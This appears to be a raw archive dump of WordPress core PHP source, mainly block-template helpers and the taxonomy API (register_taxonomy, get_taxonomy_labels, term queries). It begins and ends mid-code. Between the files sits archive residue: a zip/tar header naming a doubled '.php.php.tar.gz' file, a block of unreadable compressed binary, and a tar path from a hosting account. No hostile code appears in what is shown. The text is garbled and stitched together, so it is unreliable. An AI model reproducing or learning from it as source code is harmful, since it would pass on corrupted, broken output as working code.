    '; } /** * Renders a 'viewport' meta tag. * * This is hooked into {@see 'wp_head'} to decouple its output from the default template canvas. * * @access private * @since 5.8.0 */ function _block_template_viewport_meta_tag() { echo '' . "\n"; } /** * Strips .php or .html suffix from template file names. * * @access private * @since 5.8.0 * * @param string $template_file Template file name. * @return string Template file name without extension. */ function _strip_template_file_suffix( $template_file ) { return preg_replace( '/\.(php|html)$/', '', $template_file ); } /** * Removes post details from block context when rendering a block template. * * @access private * @since 5.8.0 * * @param array $context Default context. * * @return array Filtered context. */ function _block_template_render_without_post_block_context( $context ) { /* * When loading a template directly and not through a page that resolves it, * the top-level post ID and type context get set to that of the template. * Templates are just the structure of a site, and they should not be available * as post context because blocks like Post Content would recurse infinitely. */ if ( isset( $context['postType'] ) && 'wp_template' === $context['postType'] ) { unset( $context['postId'] ); unset( $context['postType'] ); } return $context; } /** * Sets the current WP_Query to return auto-draft posts. * * The auto-draft status indicates a new post, so allow the the WP_Query instance to * return an auto-draft post for template resolution when editing a new post. * * @access private * @since 5.9.0 * * @param WP_Query $wp_query Current WP_Query instance, passed by reference. */ function _resolve_template_for_new_post( $wp_query ) { if ( ! $wp_query->is_main_query() ) { return; } remove_filter( 'pre_get_posts', '_resolve_template_for_new_post' ); // Pages. $page_id = isset( $wp_query->query['page_id'] ) ? $wp_query->query['page_id'] : null; // Posts, including custom post types. $p = isset( $wp_query->query['p'] ) ? $wp_query->query['p'] : null; $post_id = $page_id ? $page_id : $p; $post = get_post( $post_id ); if ( $post && 'auto-draft' === $post->post_status && current_user_can( 'edit_post', $post->ID ) ) { $wp_query->set( 'post_status', 'auto-draft' ); } } /** * Register a block template. * * @since 6.7.0 * * @param string $template_name Template name in the form of `plugin_uri//template_name`. * @param array|string $args { * @type string $title Optional. Title of the template as it will be shown in the Site Editor * and other UI elements. * @type string $description Optional. Description of the template as it will be shown in the Site * Editor. * @type string $content Optional. Default content of the template that will be used when the * template is rendered or edited in the editor. * @type string[] $post_types Optional. Array of post types to which the template should be available. * @type string $plugin Optional. Slug of the plugin that registers the template. * } * @return WP_Block_Template|WP_Error The registered template object on success, WP_Error object on failure. */ function register_block_template( $template_name, $args = array() ) { return WP_Block_Templates_Registry::get_instance()->register( $template_name, $args ); } /** * Unregister a block template. * * @since 6.7.0 * * @param string $template_name Template name in the form of `plugin_uri//template_name`. * @return WP_Block_Template|WP_Error The unregistered template object on success, WP_Error object on failure or if the * template doesn't exist. */ function unregister_block_template( $template_name ) { return WP_Block_Templates_Registry::get_instance()->unregister( $template_name ); } PK$[<33-class-wp-block-styles-registry.php.php.tar.gznu[Yo8_cen+W` $p 0MYivi2Zn:8iF~?ߘ Rbfc2' ԋ9|z?@ZݎT*"P5&+W ǧzt`L4\7LHpE>q j^KVB{uoZO@H% aXQA1̙6~9?">ɔ'T(FEsbY4Pq5wHl*٣YQ=\4 ٔƒqm,'TkTxULΈ+/l$͈G~tNJ f50G7"@#3i"Mu(*Y* U(^嚗]q_;f3go"KYl,H+Ej!xL%JUS ŭ2%a3h&^˿ab*W_NxaQa;F(e'm\QeJhmM(ōpბ9QсO!0[H$9+X9?g,zwnOpbb Hy"8.!ZJ,bj-.lsJ$NV1s j}<ދU8"!hLJdC A͑tHoO,2Ņ/!S6$wO6#!LQ@R/%;^~Gf2(No1:!nXV\4r=]`n$,èKݺ--3܁1̢+JNLq-iBvD4e$ ! os/ :5yFTQyÅe8%eH[F`A H%cg3Fl54 pG| 0qX6xȹ}AHG1O&=n2d*Ui S[9+4P:*cg>tRFM#*5LX~k, s"݀ΐiFHQ;6gګta4Jc2x\hT¬h%m4_ه>o\ze4Aq瀩\ ߵ\c0?_ ;S)6 y\#eфBOܬx j;z\%OoY\V:eN­-w`ݙ1W9TӺ\q෯;PP{l*K>떬&0 d)$IFN Y-kt$J -uW0K5lyM|muklͷW|/\T%p=s7N15rv6׷|[g r.ێ)Lkj+3kiaMbTe{<:p[qďXԃ_[PW*U_f:NͰT[ Ḣ-pxOް.q{,dn‰@TmWw~JtRj?k૗n8z7O%nQO~QDnm 7Ym<Ԡ@vHhz]bsWtai%PXⷋf$Jmn,7L6m6ܲ]V-bVɄ{\6*l%oSXqi[-9 B=V=e/Ѧ}C{f1ɗ!~bT+}0WE@BaAՆX{~V6FxҶ1}L@IQA@TCLf㥴D ~܏q? PK$[*taxonomy.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/taxonomy.php000064400000530143150556261470017544 0ustar00 false, 'post_tag' => false, 'post_format' => false, ); } else { /** * Filters the post formats rewrite base. * * @since 3.1.0 * * @param string $context Context of the rewrite base. Default 'type'. */ $post_format_base = apply_filters( 'post_format_rewrite_base', 'type' ); $rewrite = array( 'category' => array( 'hierarchical' => true, 'slug' => get_option( 'category_base' ) ? get_option( 'category_base' ) : 'category', 'with_front' => ! get_option( 'category_base' ) || $wp_rewrite->using_index_permalinks(), 'ep_mask' => EP_CATEGORIES, ), 'post_tag' => array( 'hierarchical' => false, 'slug' => get_option( 'tag_base' ) ? get_option( 'tag_base' ) : 'tag', 'with_front' => ! get_option( 'tag_base' ) || $wp_rewrite->using_index_permalinks(), 'ep_mask' => EP_TAGS, ), 'post_format' => $post_format_base ? array( 'slug' => $post_format_base ) : false, ); } register_taxonomy( 'category', 'post', array( 'hierarchical' => true, 'query_var' => 'category_name', 'rewrite' => $rewrite['category'], 'public' => true, 'show_ui' => true, 'show_admin_column' => true, '_builtin' => true, 'capabilities' => array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'edit_categories', 'delete_terms' => 'delete_categories', 'assign_terms' => 'assign_categories', ), 'show_in_rest' => true, 'rest_base' => 'categories', 'rest_controller_class' => 'WP_REST_Terms_Controller', ) ); register_taxonomy( 'post_tag', 'post', array( 'hierarchical' => false, 'query_var' => 'tag', 'rewrite' => $rewrite['post_tag'], 'public' => true, 'show_ui' => true, 'show_admin_column' => true, '_builtin' => true, 'capabilities' => array( 'manage_terms' => 'manage_post_tags', 'edit_terms' => 'edit_post_tags', 'delete_terms' => 'delete_post_tags', 'assign_terms' => 'assign_post_tags', ), 'show_in_rest' => true, 'rest_base' => 'tags', 'rest_controller_class' => 'WP_REST_Terms_Controller', ) ); register_taxonomy( 'nav_menu', 'nav_menu_item', array( 'public' => false, 'hierarchical' => false, 'labels' => array( 'name' => __( 'Navigation Menus' ), 'singular_name' => __( 'Navigation Menu' ), ), 'query_var' => false, 'rewrite' => false, 'show_ui' => false, '_builtin' => true, 'show_in_nav_menus' => false, 'capabilities' => array( 'manage_terms' => 'edit_theme_options', 'edit_terms' => 'edit_theme_options', 'delete_terms' => 'edit_theme_options', 'assign_terms' => 'edit_theme_options', ), 'show_in_rest' => true, 'rest_base' => 'menus', 'rest_controller_class' => 'WP_REST_Menus_Controller', ) ); register_taxonomy( 'link_category', 'link', array( 'hierarchical' => false, 'labels' => array( 'name' => __( 'Link Categories' ), 'singular_name' => __( 'Link Category' ), 'search_items' => __( 'Search Link Categories' ), 'popular_items' => null, 'all_items' => __( 'All Link Categories' ), 'edit_item' => __( 'Edit Link Category' ), 'update_item' => __( 'Update Link Category' ), 'add_new_item' => __( 'Add Link Category' ), 'new_item_name' => __( 'New Link Category Name' ), 'separate_items_with_commas' => null, 'add_or_remove_items' => null, 'choose_from_most_used' => null, 'back_to_items' => __( '← Go to Link Categories' ), ), 'capabilities' => array( 'manage_terms' => 'manage_links', 'edit_terms' => 'manage_links', 'delete_terms' => 'manage_links', 'assign_terms' => 'manage_links', ), 'query_var' => false, 'rewrite' => false, 'public' => false, 'show_ui' => true, '_builtin' => true, ) ); register_taxonomy( 'post_format', 'post', array( 'public' => true, 'hierarchical' => false, 'labels' => array( 'name' => _x( 'Formats', 'post format' ), 'singular_name' => _x( 'Format', 'post format' ), ), 'query_var' => true, 'rewrite' => $rewrite['post_format'], 'show_ui' => false, '_builtin' => true, 'show_in_nav_menus' => current_theme_supports( 'post-formats' ), ) ); register_taxonomy( 'wp_theme', array( 'wp_template', 'wp_template_part', 'wp_global_styles' ), array( 'public' => false, 'hierarchical' => false, 'labels' => array( 'name' => __( 'Themes' ), 'singular_name' => __( 'Theme' ), ), 'query_var' => false, 'rewrite' => false, 'show_ui' => false, '_builtin' => true, 'show_in_nav_menus' => false, 'show_in_rest' => false, ) ); register_taxonomy( 'wp_template_part_area', array( 'wp_template_part' ), array( 'public' => false, 'hierarchical' => false, 'labels' => array( 'name' => __( 'Template Part Areas' ), 'singular_name' => __( 'Template Part Area' ), ), 'query_var' => false, 'rewrite' => false, 'show_ui' => false, '_builtin' => true, 'show_in_nav_menus' => false, 'show_in_rest' => false, ) ); register_taxonomy( 'wp_pattern_category', array( 'wp_block' ), array( 'public' => false, 'publicly_queryable' => false, 'hierarchical' => false, 'labels' => array( 'name' => _x( 'Pattern Categories', 'taxonomy general name' ), 'singular_name' => _x( 'Pattern Category', 'taxonomy singular name' ), 'add_new_item' => __( 'Add Category' ), 'add_or_remove_items' => __( 'Add or remove pattern categories' ), 'back_to_items' => __( '← Go to Pattern Categories' ), 'choose_from_most_used' => __( 'Choose from the most used pattern categories' ), 'edit_item' => __( 'Edit Pattern Category' ), 'item_link' => __( 'Pattern Category Link' ), 'item_link_description' => __( 'A link to a pattern category.' ), 'items_list' => __( 'Pattern Categories list' ), 'items_list_navigation' => __( 'Pattern Categories list navigation' ), 'new_item_name' => __( 'New Pattern Category Name' ), 'no_terms' => __( 'No pattern categories' ), 'not_found' => __( 'No pattern categories found.' ), 'popular_items' => __( 'Popular Pattern Categories' ), 'search_items' => __( 'Search Pattern Categories' ), 'separate_items_with_commas' => __( 'Separate pattern categories with commas' ), 'update_item' => __( 'Update Pattern Category' ), 'view_item' => __( 'View Pattern Category' ), ), 'query_var' => false, 'rewrite' => false, 'show_ui' => true, '_builtin' => true, 'show_in_nav_menus' => false, 'show_in_rest' => true, 'show_admin_column' => true, 'show_tagcloud' => false, ) ); } /** * Retrieves a list of registered taxonomy names or objects. * * @since 3.0.0 * * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies. * * @param array $args Optional. An array of `key => value` arguments to match against the taxonomy objects. * Default empty array. * @param string $output Optional. The type of output to return in the array. Either 'names' * or 'objects'. Default 'names'. * @param string $operator Optional. The logical operation to perform. Accepts 'and' or 'or'. 'or' means only * one element from the array needs to match; 'and' means all elements must match. * Default 'and'. * @return string[]|WP_Taxonomy[] An array of taxonomy names or objects. */ function get_taxonomies( $args = array(), $output = 'names', $operator = 'and' ) { global $wp_taxonomies; $field = ( 'names' === $output ) ? 'name' : false; return wp_filter_object_list( $wp_taxonomies, $args, $operator, $field ); } /** * Returns the names or objects of the taxonomies which are registered for the requested object or object type, * such as a post object or post type name. * * Example: * * $taxonomies = get_object_taxonomies( 'post' ); * * This results in: * * Array( 'category', 'post_tag' ) * * @since 2.3.0 * * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies. * * @param string|string[]|WP_Post $object_type Name of the type of taxonomy object, or an object (row from posts). * @param string $output Optional. The type of output to return in the array. Accepts either * 'names' or 'objects'. Default 'names'. * @return string[]|WP_Taxonomy[] The names or objects of all taxonomies of `$object_type`. */ function get_object_taxonomies( $object_type, $output = 'names' ) { global $wp_taxonomies; if ( is_object( $object_type ) ) { if ( 'attachment' === $object_type->post_type ) { return get_attachment_taxonomies( $object_type, $output ); } $object_type = $object_type->post_type; } $object_type = (array) $object_type; $taxonomies = array(); foreach ( (array) $wp_taxonomies as $tax_name => $tax_obj ) { if ( array_intersect( $object_type, (array) $tax_obj->object_type ) ) { if ( 'names' === $output ) { $taxonomies[] = $tax_name; } else { $taxonomies[ $tax_name ] = $tax_obj; } } } return $taxonomies; } /** * Retrieves the taxonomy object of $taxonomy. * * The get_taxonomy function will first check that the parameter string given * is a taxonomy object and if it is, it will return it. * * @since 2.3.0 * * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object to return. * @return WP_Taxonomy|false The taxonomy object or false if $taxonomy doesn't exist. */ function get_taxonomy( $taxonomy ) { global $wp_taxonomies; if ( ! taxonomy_exists( $taxonomy ) ) { return false; } return $wp_taxonomies[ $taxonomy ]; } /** * Determines whether the taxonomy name exists. * * Formerly is_taxonomy(), introduced in 2.3.0. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.0.0 * * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object. * @return bool Whether the taxonomy exists. */ function taxonomy_exists( $taxonomy ) { global $wp_taxonomies; return is_string( $taxonomy ) && isset( $wp_taxonomies[ $taxonomy ] ); } /** * Determines whether the taxonomy object is hierarchical. * * Checks to make sure that the taxonomy is an object first. Then Gets the * object, and finally returns the hierarchical value in the object. * * A false return value might also mean that the taxonomy does not exist. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.3.0 * * @param string $taxonomy Name of taxonomy object. * @return bool Whether the taxonomy is hierarchical. */ function is_taxonomy_hierarchical( $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return false; } $taxonomy = get_taxonomy( $taxonomy ); return $taxonomy->hierarchical; } /** * Creates or modifies a taxonomy object. * * Note: Do not use before the {@see 'init'} hook. * * A simple function for creating or modifying a taxonomy object based on * the parameters given. If modifying an existing taxonomy object, note * that the `$object_type` value from the original registration will be * overwritten. * * @since 2.3.0 * @since 4.2.0 Introduced `show_in_quick_edit` argument. * @since 4.4.0 The `show_ui` argument is now enforced on the term editing screen. * @since 4.4.0 The `public` argument now controls whether the taxonomy can be queried on the front end. * @since 4.5.0 Introduced `publicly_queryable` argument. * @since 4.7.0 Introduced `show_in_rest`, 'rest_base' and 'rest_controller_class' * arguments to register the taxonomy in REST API. * @since 5.1.0 Introduced `meta_box_sanitize_cb` argument. * @since 5.4.0 Added the registered taxonomy object as a return value. * @since 5.5.0 Introduced `default_term` argument. * @since 5.9.0 Introduced `rest_namespace` argument. * * @global WP_Taxonomy[] $wp_taxonomies Registered taxonomies. * * @param string $taxonomy Taxonomy key. Must not exceed 32 characters and may only contain * lowercase alphanumeric characters, dashes, and underscores. See sanitize_key(). * @param array|string $object_type Object type or array of object types with which the taxonomy should be associated. * @param array|string $args { * Optional. Array or query string of arguments for registering a taxonomy. * * @type string[] $labels An array of labels for this taxonomy. By default, Tag labels are * used for non-hierarchical taxonomies, and Category labels are used * for hierarchical taxonomies. See accepted values in * get_taxonomy_labels(). Default empty array. * @type string $description A short descriptive summary of what the taxonomy is for. Default empty. * @type bool $public Whether a taxonomy is intended for use publicly either via * the admin interface or by front-end users. The default settings * of `$publicly_queryable`, `$show_ui`, and `$show_in_nav_menus` * are inherited from `$public`. * @type bool $publicly_queryable Whether the taxonomy is publicly queryable. * If not set, the default is inherited from `$public` * @type bool $hierarchical Whether the taxonomy is hierarchical. Default false. * @type bool $show_ui Whether to generate and allow a UI for managing terms in this taxonomy in * the admin. If not set, the default is inherited from `$public` * (default true). * @type bool $show_in_menu Whether to show the taxonomy in the admin menu. If true, the taxonomy is * shown as a submenu of the object type menu. If false, no menu is shown. * `$show_ui` must be true. If not set, default is inherited from `$show_ui` * (default true). * @type bool $show_in_nav_menus Makes this taxonomy available for selection in navigation menus. If not * set, the default is inherited from `$public` (default true). * @type bool $show_in_rest Whether to include the taxonomy in the REST API. Set this to true * for the taxonomy to be available in the block editor. * @type string $rest_base To change the base url of REST API route. Default is $taxonomy. * @type string $rest_namespace To change the namespace URL of REST API route. Default is wp/v2. * @type string $rest_controller_class REST API Controller class name. Default is 'WP_REST_Terms_Controller'. * @type bool $show_tagcloud Whether to list the taxonomy in the Tag Cloud Widget controls. If not set, * the default is inherited from `$show_ui` (default true). * @type bool $show_in_quick_edit Whether to show the taxonomy in the quick/bulk edit panel. It not set, * the default is inherited from `$show_ui` (default true). * @type bool $show_admin_column Whether to display a column for the taxonomy on its post type listing * screens. Default false. * @type bool|callable $meta_box_cb Provide a callback function for the meta box display. If not set, * post_categories_meta_box() is used for hierarchical taxonomies, and * post_tags_meta_box() is used for non-hierarchical. If false, no meta * box is shown. * @type callable $meta_box_sanitize_cb Callback function for sanitizing taxonomy data saved from a meta * box. If no callback is defined, an appropriate one is determined * based on the value of `$meta_box_cb`. * @type string[] $capabilities { * Array of capabilities for this taxonomy. * * @type string $manage_terms Default 'manage_categories'. * @type string $edit_terms Default 'manage_categories'. * @type string $delete_terms Default 'manage_categories'. * @type string $assign_terms Default 'edit_posts'. * } * @type bool|array $rewrite { * Triggers the handling of rewrites for this taxonomy. Default true, using $taxonomy as slug. To prevent * rewrite, set to false. To specify rewrite rules, an array can be passed with any of these keys: * * @type string $slug Customize the permastruct slug. Default `$taxonomy` key. * @type bool $with_front Should the permastruct be prepended with WP_Rewrite::$front. Default true. * @type bool $hierarchical Either hierarchical rewrite tag or not. Default false. * @type int $ep_mask Assign an endpoint mask. Default `EP_NONE`. * } * @type string|bool $query_var Sets the query var key for this taxonomy. Default `$taxonomy` key. If * false, a taxonomy cannot be loaded at `?{query_var}={term_slug}`. If a * string, the query `?{query_var}={term_slug}` will be valid. * @type callable $update_count_callback Works much like a hook, in that it will be called when the count is * updated. Default _update_post_term_count() for taxonomies attached * to post types, which confirms that the objects are published before * counting them. Default _update_generic_term_count() for taxonomies * attached to other object types, such as users. * @type string|array $default_term { * Default term to be used for the taxonomy. * * @type string $name Name of default term. * @type string $slug Slug for default term. Default empty. * @type string $description Description for default term. Default empty. * } * @type bool $sort Whether terms in this taxonomy should be sorted in the order they are * provided to `wp_set_object_terms()`. Default null which equates to false. * @type array $args Array of arguments to automatically use inside `wp_get_object_terms()` * for this taxonomy. * @type bool $_builtin This taxonomy is a "built-in" taxonomy. INTERNAL USE ONLY! * Default false. * } * @return WP_Taxonomy|WP_Error The registered taxonomy object on success, WP_Error object on failure. */ function register_taxonomy( $taxonomy, $object_type, $args = array() ) { global $wp_taxonomies; if ( ! is_array( $wp_taxonomies ) ) { $wp_taxonomies = array(); } $args = wp_parse_args( $args ); if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) { _doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' ); return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) ); } $taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args ); $taxonomy_object->add_rewrite_rules(); $wp_taxonomies[ $taxonomy ] = $taxonomy_object; $taxonomy_object->add_hooks(); // Add default term. if ( ! empty( $taxonomy_object->default_term ) ) { $term = term_exists( $taxonomy_object->default_term['name'], $taxonomy ); if ( $term ) { update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] ); } else { $term = wp_insert_term( $taxonomy_object->default_term['name'], $taxonomy, array( 'slug' => sanitize_title( $taxonomy_object->default_term['slug'] ), 'description' => $taxonomy_object->default_term['description'], ) ); // Update `term_id` in options. if ( ! is_wp_error( $term ) ) { update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] ); } } } /** * Fires after a taxonomy is registered. * * @since 3.3.0 * * @param string $taxonomy Taxonomy slug. * @param array|string $object_type Object type or array of object types. * @param array $args Array of taxonomy registration arguments. */ do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object ); /** * Fires after a specific taxonomy is registered. * * The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key. * * Possible hook names include: * * - `registered_taxonomy_category` * - `registered_taxonomy_post_tag` * * @since 6.0.0 * * @param string $taxonomy Taxonomy slug. * @param array|string $object_type Object type or array of object types. * @param array $args Array of taxonomy registration arguments. */ do_action( "registered_taxonomy_{$taxonomy}", $taxonomy, $object_type, (array) $taxonomy_object ); return $taxonomy_object; } /** * Unregisters a taxonomy. * * Can not be used to unregister built-in taxonomies. * * @since 4.5.0 * * @global WP_Taxonomy[] $wp_taxonomies List of taxonomies. * * @param string $taxonomy Taxonomy name. * @return true|WP_Error True on success, WP_Error on failure or if the taxonomy doesn't exist. */ function unregister_taxonomy( $taxonomy ) { global $wp_taxonomies; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $taxonomy_object = get_taxonomy( $taxonomy ); // Do not allow unregistering internal taxonomies. if ( $taxonomy_object->_builtin ) { return new WP_Error( 'invalid_taxonomy', __( 'Unregistering a built-in taxonomy is not allowed.' ) ); } $taxonomy_object->remove_rewrite_rules(); $taxonomy_object->remove_hooks(); // Remove the taxonomy. unset( $wp_taxonomies[ $taxonomy ] ); /** * Fires after a taxonomy is unregistered. * * @since 4.5.0 * * @param string $taxonomy Taxonomy name. */ do_action( 'unregistered_taxonomy', $taxonomy ); return true; } /** * Builds an object with all taxonomy labels out of a taxonomy object. * * @since 3.0.0 * @since 4.3.0 Added the `no_terms` label. * @since 4.4.0 Added the `items_list_navigation` and `items_list` labels. * @since 4.9.0 Added the `most_used` and `back_to_items` labels. * @since 5.7.0 Added the `filter_by_item` label. * @since 5.8.0 Added the `item_link` and `item_link_description` labels. * @since 5.9.0 Added the `name_field_description`, `slug_field_description`, * `parent_field_description`, and `desc_field_description` labels. * @since 6.6.0 Added the `template_name` label. * * @param WP_Taxonomy $tax Taxonomy object. * @return object { * Taxonomy labels object. The first default value is for non-hierarchical taxonomies * (like tags) and the second one is for hierarchical taxonomies (like categories). * * @type string $name General name for the taxonomy, usually plural. The same * as and overridden by `$tax->label`. Default 'Tags'/'Categories'. * @type string $singular_name Name for one object of this taxonomy. Default 'Tag'/'Category'. * @type string $search_items Default 'Search Tags'/'Search Categories'. * @type string $popular_items This label is only used for non-hierarchical taxonomies. * Default 'Popular Tags'. * @type string $all_items Default 'All Tags'/'All Categories'. * @type string $parent_item This label is only used for hierarchical taxonomies. Default * 'Parent Category'. * @type string $parent_item_colon The same as `parent_item`, but with colon `:` in the end. * @type string $name_field_description Description for the Name field on Edit Tags screen. * Default 'The name is how it appears on your site'. * @type string $slug_field_description Description for the Slug field on Edit Tags screen. * Default 'The “slug” is the URL-friendly version * of the name. It is usually all lowercase and contains * only letters, numbers, and hyphens'. * @type string $parent_field_description Description for the Parent field on Edit Tags screen. * Default 'Assign a parent term to create a hierarchy. * The term Jazz, for example, would be the parent * of Bebop and Big Band'. * @type string $desc_field_description Description for the Description field on Edit Tags screen. * Default 'The description is not prominent by default; * however, some themes may show it'. * @type string $edit_item Default 'Edit Tag'/'Edit Category'. * @type string $view_item Default 'View Tag'/'View Category'. * @type string $update_item Default 'Update Tag'/'Update Category'. * @type string $add_new_item Default 'Add Tag'/'Add Category'. * @type string $new_item_name Default 'New Tag Name'/'New Category Name'. * @type string $template_name Default 'Tag Archives'/'Category Archives'. * @type string $separate_items_with_commas This label is only used for non-hierarchical taxonomies. Default * 'Separate tags with commas', used in the meta box. * @type string $add_or_remove_items This label is only used for non-hierarchical taxonomies. Default * 'Add or remove tags', used in the meta box when JavaScript * is disabled. * @type string $choose_from_most_used This label is only used on non-hierarchical taxonomies. Default * 'Choose from the most used tags', used in the meta box. * @type string $not_found Default 'No tags found'/'No categories found', used in * the meta box and taxonomy list table. * @type string $no_terms Default 'No tags'/'No categories', used in the posts and media * list tables. * @type string $filter_by_item This label is only used for hierarchical taxonomies. Default * 'Filter by category', used in the posts list table. * @type string $items_list_navigation Label for the table pagination hidden heading. * @type string $items_list Label for the table hidden heading. * @type string $most_used Title for the Most Used tab. Default 'Most Used'. * @type string $back_to_items Label displayed after a term has been updated. * @type string $item_link Used in the block editor. Title for a navigation link block variation. * Default 'Tag Link'/'Category Link'. * @type string $item_link_description Used in the block editor. Description for a navigation link block * variation. Default 'A link to a tag'/'A link to a category'. * } */ function get_taxonomy_labels( $tax ) { $tax->labels = (array) $tax->labels; if ( isset( $tax->helps ) && empty( $tax->labels['separate_items_with_commas'] ) ) { $tax->labels['separate_items_with_commas'] = $tax->helps; } if ( isset( $tax->no_tagcloud ) && empty( $tax->labels['not_found'] ) ) { $tax->labels['not_found'] = $tax->no_tagcloud; } $nohier_vs_hier_defaults = WP_Taxonomy::get_default_labels(); $nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name']; $labels = _get_custom_object_labels( $tax, $nohier_vs_hier_defaults ); if ( ! isset( $tax->labels->template_name ) && isset( $labels->singular_name ) ) { /* translators: %s: Taxonomy name. */ $labels->template_name = sprintf( _x( '%s Archives', 'taxonomy template name' ), $labels->singular_name ); } $taxonomy = $tax->name; $default_labels = clone $labels; /** * Filters the labels of a specific taxonomy. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `taxonomy_labels_category` * - `taxonomy_labels_post_tag` * * @since 4.4.0 * * @see get_taxonomy_labels() for the full list of taxonomy labels. * * @param object $labels Object with labels for the taxonomy as member variables. */ $labels = apply_filters( "taxonomy_labels_{$taxonomy}", $labels ); // Ensure that the filtered labels contain all required default values. $labels = (object) array_merge( (array) $default_labels, (array) $labels ); return $labels; } /** * Adds an already registered taxonomy to an object type. * * @since 3.0.0 * * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object. * @param string $object_type Name of the object type. * @return bool True if successful, false if not. */ function register_taxonomy_for_object_type( $taxonomy, $object_type ) { global $wp_taxonomies; if ( ! isset( $wp_taxonomies[ $taxonomy ] ) ) { return false; } if ( ! get_post_type_object( $object_type ) ) { return false; } if ( ! in_array( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true ) ) { $wp_taxonomies[ $taxonomy ]->object_type[] = $object_type; } // Filter out empties. $wp_taxonomies[ $taxonomy ]->object_type = array_filter( $wp_taxonomies[ $taxonomy ]->object_type ); /** * Fires after a taxonomy is registered for an object type. * * @since 5.1.0 * * @param string $taxonomy Taxonomy name. * @param string $object_type Name of the object type. */ do_action( 'registered_taxonomy_for_object_type', $taxonomy, $object_type ); return true; } /** * Removes an already registered taxonomy from an object type. * * @since 3.7.0 * * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object. * @param string $object_type Name of the object type. * @return bool True if successful, false if not. */ function unregister_taxonomy_for_object_type( $taxonomy, $object_type ) { global $wp_taxonomies; if ( ! isset( $wp_taxonomies[ $taxonomy ] ) ) { return false; } if ( ! get_post_type_object( $object_type ) ) { return false; } $key = array_search( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true ); if ( false === $key ) { return false; } unset( $wp_taxonomies[ $taxonomy ]->object_type[ $key ] ); /** * Fires after a taxonomy is unregistered for an object type. * * @since 5.1.0 * * @param string $taxonomy Taxonomy name. * @param string $object_type Name of the object type. */ do_action( 'unregistered_taxonomy_for_object_type', $taxonomy, $object_type ); return true; } // // Term API. // /** * Retrieves object IDs of valid taxonomy and term. * * The strings of `$taxonomies` must exist before this function will continue. * On failure of finding a valid taxonomy, it will return a WP_Error. * * The `$terms` aren't checked the same as `$taxonomies`, but still need to exist * for object IDs to be returned. * * It is possible to change the order that object IDs are returned by using `$args` * with either ASC or DESC array. The value should be in the key named 'order'. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|int[] $term_ids Term ID or array of term IDs of terms that will be used. * @param string|string[] $taxonomies String of taxonomy name or Array of string values of taxonomy names. * @param array|string $args { * Change the order of the object IDs. * * @type string $order Order to retrieve terms. Accepts 'ASC' or 'DESC'. Default 'ASC'. * } * @return string[]|WP_Error An array of object IDs as numeric strings on success, * WP_Error if the taxonomy does not exist. */ function get_objects_in_term( $term_ids, $taxonomies, $args = array() ) { global $wpdb; if ( ! is_array( $term_ids ) ) { $term_ids = array( $term_ids ); } if ( ! is_array( $taxonomies ) ) { $taxonomies = array( $taxonomies ); } foreach ( (array) $taxonomies as $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } } $defaults = array( 'order' => 'ASC' ); $args = wp_parse_args( $args, $defaults ); $order = ( 'desc' === strtolower( $args['order'] ) ) ? 'DESC' : 'ASC'; $term_ids = array_map( 'intval', $term_ids ); $taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'"; $term_ids = "'" . implode( "', '", $term_ids ) . "'"; $sql = "SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($term_ids) ORDER BY tr.object_id $order"; $last_changed = wp_cache_get_last_changed( 'terms' ); $cache_key = 'get_objects_in_term:' . md5( $sql ) . ":$last_changed"; $cache = wp_cache_get( $cache_key, 'term-queries' ); if ( false === $cache ) { $object_ids = $wpdb->get_col( $sql ); wp_cache_set( $cache_key, $object_ids, 'term-queries' ); } else { $object_ids = (array) $cache; } if ( ! $object_ids ) { return array(); } return $object_ids; } /** * Given a taxonomy query, generates SQL to be appended to a main query. * * @since 3.1.0 * * @see WP_Tax_Query * * @param array $tax_query A compact tax query * @param string $primary_table * @param string $primary_id_column * @return string[] */ function get_tax_sql( $tax_query, $primary_table, $primary_id_column ) { $tax_query_obj = new WP_Tax_Query( $tax_query ); return $tax_query_obj->get_sql( $primary_table, $primary_id_column ); } /** * Gets all term data from database by term ID. * * The usage of the get_term function is to apply filters to a term object. It * is possible to get a term object from the database before applying the * filters. * * $term ID must be part of $taxonomy, to get from the database. Failure, might * be able to be captured by the hooks. Failure would be the same value as $wpdb * returns for the get_row method. * * There are two hooks, one is specifically for each term, named 'get_term', and * the second is for the taxonomy name, 